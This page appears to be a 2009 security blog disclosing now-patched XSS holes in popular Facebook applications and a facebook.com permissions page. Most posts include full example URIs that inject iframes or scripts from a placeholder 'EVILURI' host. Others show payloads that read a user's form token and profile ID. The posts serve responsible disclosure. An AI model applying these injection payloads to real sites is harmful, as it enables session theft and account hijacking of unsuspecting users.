Posted by theharmonyguy in FAXX Hacks | No comments

FAXX Hack: Causes

Facebook Verified Application

Current Monthly Active Users: 26,271,410

Current Rank on Application Leaderboard: 2

Application Developer: Causes

Responsiveness: After notifying Causes, I received word that a fix was being deployed. The patch appears to be thorough.

Vulnerability Status: Patched

Capable of Clickjacking Install: Yes

Example URI: http://apps.facebook.com/causes/help?category=%22%3E%3C%2Ful%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2Fwww.causes.com%2Ffb%2Fhelp%3Fcategory%3D%2522%253E%253C%252Ful%253E%253Ciframe%2Bsrc%253D%2522http%253A%252F%252FEVILURI%252F%2522%22%3E

Keep Reading »

Posted by theharmonyguy in FAXX Hacks | 2 comments

FAXX Hack: FarmVille

Current Monthly Active Users: 33,439,207

Current Rank on Application Leaderboard: 1

Application Developer: Zynga

Responsiveness: After notifying Zynga, I received a reply almost immediately from their Senior Director of Security.  The company moved swiftly to patch the hole, and they’ve been both very responsive and very gracious in their communications.

Vulnerability Status: Patched

Capable of Clickjacking Install: Yes

Example URI: http://apps.facebook.com/onthefarm/index.php?type=%22%2F%253E%253Cfb%253Aiframe%2Bsrc%253D%2522%22%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2Ffbpr1-proxy.farmville.zynga.com%2Fcurrent%2Findex.php%3Ftype%3D%2522%252F%253E%253Ciframe%2Bsrc%253D%2522http%253A%252F%252FEVILURI%252F%2522%253E

Notes: Several of the recent holes I’ve found are similar to this one.  Rather than relaying a particular property from the URI within the FBML/HTML of the page, the application included a complete copy of the URI at some point.  This often happens when an application includes a tracker or perhaps needs a form that submits back to the current page.  But if the URI is not escaped prior to being included in such a context, one can add code to the end of the URI that closes a given tag and allows new tags to be inserted.

Keep Reading »

Posted by theharmonyguy in FAXX Hacks | No comments

FAXX Hacks: Previous Vulnerabilities

Before the first new report in the FAXX series, I thought I would begin by reviewing a few previous holes that have (mostly) already been patched.

FAXX Hack: FunSpace

Facebook Verified Application

Current Monthly Active Users: 8,527,725

Current Rank on Application Leaderboard: 20

Application Developer: Slide, Inc.

Vulnerability Status: Patched

Capable of Clickjacking Install: Yes

Example URI: http://apps.facebook.com/crazyfunpix/header_iframe/?url=)%22%3E%3Cscript+src%3D%22http%3A%2F%2FEVILURI%2F%22%3E%3C%2Fscript%3E%3Ca+href%3D%22(&CXNID=1000005.8NXC

FAXX Hack: SuperPoke!

Facebook Verified Application

Current Monthly Active Users: 2,097,148

Current Rank on Application Leaderboard: 71

Application Developer: Slide, Inc.

Vulnerability Status: Patched

Capable of Clickjacking Install: Yes

Example URI: http://apps.facebook.com/superpokey/sp_main/?CXNID=1000005.6NXC&fb_force_mode=iframe&error=%3Cscript+src%3D%22http%3A%2F%2FEVILURI%2F%22%3E%3C%2Fscript%3E

FAXX Hack: SocialToo

Current Monthly Active Users: 1,835

Application Developer: Stay N’ Alive Productions, LLC

Vulnerability Status: Patched

Capable of Clickjacking Install: No

Example POST Request: http://apps.facebook.com/socialtoo/vanity?submit=Update&username=\”><fb:iframe src=’http://EVILURI/’>

Notes: This application generally has extended permissions, such as status_update.

FAXX Hack: YellowPages.ca

Reported By: Uber0n at XSSed.com on March 22, 2009

Current Monthly Active Users: 1,198

Application Developer: Yellow Pages Group Co.

Vulnerability Status: Unpatched Patched as of Sep. 2, 2009

Capable of Clickjacking Install: No

Example URI: http://apps.facebook.com/yellowpagesca/?task=search&YP_what=%22%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2Ffacebook.yellowpages.ca%2Fapp%2F%3Ftask%3Dsearch%26YP_what%3D%2522%253E%253Cscript%2Bsrc%253D%2522http%253A%252F%252FEVILURI%252F%2522%253E%253C%252Fscript%253E%2B%26YP_where%3DCanada%22%3E&YP_where=Canada

Notes: The above example demonstrates a double injection trick I began using for FBML applications. First, the hole is used to insert an <fb:iframe> tag into the FBML of the canvas page. Second, this inserted iframe loads the direct URI of the application page, with the hole exploited a second time to insert a script file, since the iframe loads as HTML rather than FBML. Since the domain of the iframe matches the application domain, the iframe receives the user’s session secret.

Keep Reading »

Posted by theharmonyguy in Facebook, FAXX Hacks | 34 comments

Revealing Facebook Application XSS Holes

Beginning tomorrow, September 1st, I will begin posting full technical details of cross-site scripting vulnerabilities that I have discovered in Facebook applications. Following the model of the Month of Twitter Bugs, I will notify each application developer 24 hours prior to revealing any holes. After 24 hours have passed, I will publish a new post on theharmonyguy.com with the title “FAXX Hack:” (for Facebook Application XSS/XSRF) and the name of the application. I will also publish a corresponding update to my Twitter account with the hashtag #FAXX and a link to the post. (Update (9/10): I appreciate the input from several people regarding timing, and I’ve changed my mind – I’ll wait for patches before posting holes. I certainly want to uphold ethical disclosures, and in hindsight the 24-hour rule probably wasn’t a good idea. My bad, and once again I’m grateful for other perspectives. I am rather new to all this.)

At this time, I have found five widely used Facebook applications vulnerable to XSS. I intend to look for more over the next few days, and I am open to submissions from others via theharmonyguy on Gmail. I will give full credit for any new holes submitted.

Once I have posted all known XSS vulnerabilities in Facebook applications, I plan on releasing the full source code of XSS/CSRF demos I have created which demonstrate the ways a hacker can exploit such problems.

Let the games begin.

Keep Reading »

Posted by theharmonyguy in Facebook | No comments

Facebook XSS Details

Earlier this week, I reported finding a cross-site scripting vulnerability on a facebook.com page. Last night, I asked a friend with contacts at Facebook to let their developers know directly, and the company responded quickly. I confirmed just after midnight that the hole is now patched, which means I will now share technical details.

The problem was a fairly typical XSS issue. In poking around various pages related to application permissions, I noticed that several URI parameters appeared in the source of the page, but Facebook did a good job of filtering out characters which could allow cross-site scripting. Further experimentation revealed that specifying various parameters on one page led to various error messages.

This specific page was www.facebook.com/connect/prompt_permissions.php, a pop-up that can appear when an application requests extended permissions, such as read access to a user’s stream. A typical use of this page came by issuing a GET request with several parameters: api_key (the API key of the requesting application), v=1.0, extern=1, next (the next URI to load), channel_url (the cross-domain receiver file for communicating with Facebook), dialog_id, locale (language), and ext_perm (the specific extended permission requested).

For instance, if an application with API key d41d8cd98f00b204e9800998ecf8427e wanted to access a user’s stream, it may issue a GET request to this URI:

http://www.facebook.com/connect/prompt_permissions.php?↵
api_key=d41d8cd98f00b204e9800998ecf8427e&v=1.0&extern=1↵
&next=http://uri/&channel_url=http://uri/xd.php&↵
dialog_id=0_0.37541312664788107&↵
ext_perm=read_stream&locale=en_US

Note that the extended permission parameter is simply the text read_stream. When I tried setting it to a number, say ext_perm=1, I received a page with this error message:

The application cannot ask you for permission 1

Sure enough, this error message was not filtered.  I could then easily craft an XSS link. The trick only had two requirements: the user had to be logged into Facebook, and the API key had to match an application that the user had authorized. Since finding the API key of any third-party application is fairly trivial, one could easily target widely installed applications in an actual attack.

To demonstrate the possibilities of an XSS link, I set ext_perm=1%3Cscript%3Ealert(document.getElementById(↵
%22post_form_id%22).value);%3C/script%3E and saw this output:

Those experienced with Facebook code will recognize what can be accomplished with post_form_id. Facebook uses this code to sign AJAX requests for all sorts of operations when someone uses pages on facebook.com, hence the list of activities I gave in my last post.

Of course, to perform such activities, an attacker would need the user’s Facebook ID, which does not occur in the source code of prompt_permissions.php. But since we’re injecting code into a facebook.com page, browser security no longer prevents script access to iframes or XHR objects that reference other facebook.com pages, since none of them happen cross-domain. In fact, by setting ext_perm=%3Ciframe+src%3D%22http%3A%2F2Fwww.facebook.com↵
%2Fprofile.php%22+id%3D%22x%22+onload%3D%22alert(↵
frames%5B'x'%5D.document.getElementById('profile_pic').src)↵
%3B%22%3E%3C%2Fiframe%3E, one would see their profile image URI, which contains their Facebook ID.

Anyone familiar with JavaScript DOM manipulation can already see how much would be possible with such an XSS vulnerability. A malicious link could provide a hacker with nearly every bit of information or capability that a user can access when logged into Facebook. An attacker could also craft a sophisticated phishing scheme, since the page would be coming from facebook.com.

Facebook did act swiftly to correct this problem, as they’ve done with previous cases, and I commend them for their response. However, I would once again note that many Facebook applications, including widely used ones, have this same type of vulnerability.  An application cannot be exploited to the same degree as a facebook.com page, but it does allow a hacker to access profile information, send notifications, and publish stories on a user’s wall.  Facebook’s recently announced privacy changes should eventually help limit profile access via hijacked applications, but many security issues still remain.

Keep Reading »